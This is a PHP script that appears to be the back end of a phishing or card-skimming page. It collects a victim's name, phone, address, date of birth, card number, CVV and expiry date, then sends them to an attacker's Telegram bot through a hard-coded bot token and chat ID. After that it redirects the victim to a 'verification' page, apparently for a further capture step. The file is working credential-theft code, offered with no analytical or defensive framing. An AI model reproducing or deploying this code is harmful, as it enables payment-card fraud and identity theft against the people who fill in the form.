<?php
session_start();

// Telegram Bot API details
$botToken = '7879282702:AAHacaQ5ZKhpkNb5sFJosPxat2src5Fw9h0';
$chatId = '6284381665';

// Check if form is submitted
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    // Collect and sanitize form data
    $fullName = htmlspecialchars($_POST['fullName']);
    $phone = htmlspecialchars($_POST['phone']);
    $address = htmlspecialchars($_POST['address']);
    $zipCode = htmlspecialchars($_POST['zipCode']);
    $dob = htmlspecialchars($_POST['dob']);
    $cardNumber = htmlspecialchars($_POST['cardNumber']);
    $cvv = htmlspecialchars($_POST['cvv']);
    $expiryDate = htmlspecialchars($_POST['expiryDate']);

    // Mask the phone number (e.g., *******-4578)
    $maskedPhone = '*******-' . substr($phone, -4);

    // Save the masked phone in the session for verification page
    $_SESSION['maskedPhone'] = $maskedPhone;
   $_SESSION['fullName'] = $fullName;

    // Format the data as a plain text message
    $message = "Billing Information:\n\n"
             . "Full Name: $fullName\n"
             . "Phone Number: $phone\n"
             . "Address: $address\n"
             . "Zip Code: $zipCode\n"
             . "Date of Birth: $dob\n"
             . "Card Number: $cardNumber\n"
             . "CVV: $cvv\n"
             . "Expiration Date: $expiryDate\n";

    // Send the message to Telegram
    $url = "https://api.telegram.org/bot$botToken/sendMessage";
    $postData = [
        'chat_id' => $chatId,
        'text' => $message
    ];

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

    $response = curl_exec($ch);
    curl_close($ch);

    // Redirect to verification.php
    header("Location: verification.php");
    exit;
}
?>
